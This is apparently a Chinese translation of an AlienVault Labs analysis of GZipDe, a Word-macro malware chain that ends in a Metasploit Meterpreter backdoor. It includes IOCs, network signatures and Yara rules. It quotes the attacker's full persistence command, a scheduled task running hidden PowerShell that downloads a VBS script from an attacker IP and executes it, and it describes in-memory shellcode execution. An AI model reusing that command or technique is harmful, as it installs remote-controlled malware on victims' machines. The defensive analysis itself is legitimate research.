5月底,一家中东新闻网站发表了一篇关于下一届上海合作组织峰会的文章。一周前,AlienVault实验室发现了一份新的针对该地区的恶意文件。它使用从报告中提取的一段文本作为诱饵:
这是涉及多个服务器和工件的多阶段感染的第一步。虽然最终目标似乎是安装Metasploit后门程序,但是我们发现了一个有趣的.NET下载程序,它使用自定义加密方法来混淆进程内存并逃避防病毒检测。
恶意文件
该文件是由阿富汗用户上传到VirusTotal的,包含嵌入宏恶意软件的微软MS Office Word文档(.doc)。当打开时,它执行一个存储为十六进制流的Visual Basic脚本,并在一个隐藏的Powershell控制台中执行一个新任务:
‘C:WindowsSystem32schtasks.exe’ /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR ‘Powershell -W Hidden (New-Object System.Net.WebClient).DownloadFile(\’http://118.193.251[.]137/dropbox/?p=BT67HU78HZ\’,\’$env:publicsvchost325.vbs\’);(New-Object -com Shell.Application).ShellExecute(\’$env:publicsvchost325.vbs\’);’ /F
利用HTTP请求,它解析为以下URL:
http://118.193.251[.]137/dropbox/?p=BT67HU78HZ
由于服务器现在处于离线状态,因此我们缺少了感染链的下一步。
基于共同的路径,我们认为这个文件是相关的,并且可能是后面感染步骤的一部分:http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe。
GZipDe – 加密的下载程序
该恶意软件的内部名称是Gzipde,正如它在攻击者设备上构建的路径所指定的那样:
Documents Visual Studio 2008 Projects gzipde gzipde obj Debug gzipde.pdb
我们在GitHub上发现了原始的反向TCP有效载荷,尽管攻击者在该版本上增加了一层额外的加密有效载荷。它由名为GZipDe的Base64字符串组成,GZipDe是一个压缩后使用对称密钥算法进行自定义加密的字符串,可能会避免防病毒检测。
该密钥被描述为一个字节数组,其值为:
解压后,它通过一个解密程序。使用的加密方法是RC4,密钥长度为23个字节。
恶意软件分配一个新的内存页,具有执行、读和写权限。然后它复制解密的有效载荷的内容,并启动一个新的线程来执行它。
该脚本使用WaitForSingleObject C#类,这意味着程序访问互斥对象。一个特殊的处理程序控制进程对系统资源的访问。这可以防止同一恶意软件的多个实例同时运行,不必要地增加资源使用率并产生更多的网络噪音。
有效载荷包含shellcode,该代码在175.194.42[.]8上与服务器联系 。当服务器没有启动时,Shodan 记录了它服务于Metasploit的有效载荷:
Metasploit有效载荷
服务器,175.194.42[.]8,交付了一个Metasploit的有效载荷。它包含绕过系统检测的shellcode(因为它看起来有一个有效的DOS标头)和一个Meterpreter有效载荷)——一个有能力的后门。例如,它可以从系统中收集信息,并联系命令和控制服务器以接收进一步的命令。
这个shellcode将整个DLL加载到内存中,所以它可以在没有信息写入磁盘的情况下运行。这个操作被称为反射DLL注入(Reflective DLL injection)。从这一点来看,攻击者可以传输任何其他有效载荷,以获得提升的权限并在本地网络内移动。
附录
文件哈希值
https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28
https://otx.alienvault.com/indicator/file/148d280586de3a62d366c396c8bfedd6683a2e3eb1c3d956da57dbfc19d1983c
https://otx.alienvault.com/indicator/file/3932999be863d5844168e3bbb09ffc2f8d572a8f4a93946adb7e9c438f35c711
IP地址
118.193.251[.]137
175.194.42[.]8
URLs
http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe
http://118.193.251[.]137/dropbox/?p=BT67HU78HZ
网络检测
多用途
AV ATTACK_RESPONSE Metasploit Reverse Shell Verification (Echo)
ET ATTACK_RESPONSE Metasploit/Meterpreter – Sending metsrv.dll to Compromised Host
ET ATTACK_RESPONSE Metasploit Meterpreter Reverse HTTPS certificate
专用
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe MacroMalware CnC Checkin”; flow:established,to_server; content:”/dropbox/?p=”; http_uri; depth:12; content:!”User-Agent|3a| “; http_header; content:!”Referer”; http_header; pcre:”^//dropbox/?p=[a-zA-Z0-9]*$/U”; reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity; sid:xxx; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe MacroMalware Payload Request”; flow:established,to_server; content:”/dropbox/file”; depth:13; http_uri; content:”.exe”; http_uri; distance:0; isdataat:!1,relative; content:!”User-Agent|3a| “; http_header; content:!”Referer”; http_header; reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity; sid:xxx; rev:1;)
统一安全管理(USM)关联规则
系统妥协 – 代码执行 – 由Office Word创建的Powershell进程
交付和攻击 – 可疑下载 – 通过Office宏下载文件
环境意识 – 代码执行 – 可疑的PowerShell参数
Yara规则
rule gzipde_hunt {
meta:
author = "AlienVault Labs"
description = "Hunt rule to identify files related to Gzipde"
copyright = "Alienvault Inc. 2018"
reference = "https://otx.alienvault.com/pulse/5b239254174e5d5edab34e05"
strings:
$a = "118.193.251.137" nocase wide ascii
$b = "BT67HU78HZ" nocase wide ascii
$c = "2E0EB747-BE46-441A-A8B1-97AB27B49EC5" nocase wide ascii
$d = "gzipde.pdb" nocase wide ascii
$e = "C:\Users\jhon\Documents\Visual Studio 2008" nocase wide ascii
condition:
any of them
}
import "dotnet"
rule MeterpreterEncryptedPayloadDotNetGzipDE {
meta:
type = "malware"
description = "GZipDe"
author = "jblasco@alienvault.com"
reference1 = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp/blob/master/NativePayload_Reverse_tcp.cs"
reference2= "https://otx.alienvault.com/indicator/file/33c03d94f75698fac6a39a5a6c328c2be4a079717520e0ec411597b9ca3a9bef"
strings:
$pdb = "gzipde.pdb"
$st1 = "PAGE_EXECUTE_READWRITE"
$st2 = "EncryptInitalize"
$st3 = "EncryptOutput"
$st4 = "CreateThread"
$st5 = "VirtualAlloc"
condition:
uint16(0) == 0x5A4D and
((dotnet.typelib == "c1181bc0-0102-44e9-82ba-7c1ca7d24219" and
dotnet.guids[0] == "2e0eb747-be46-441a-a8b1-97ab27b49ec5") or
$pdb or
(dotnet.number_of_modulerefs == 1 and
dotnet.modulerefs[0] == "kernel32" and
all of ($st*)))
}
审核人:yiwang 编辑:边边
发表评论
您还未登录,请先登录。
登录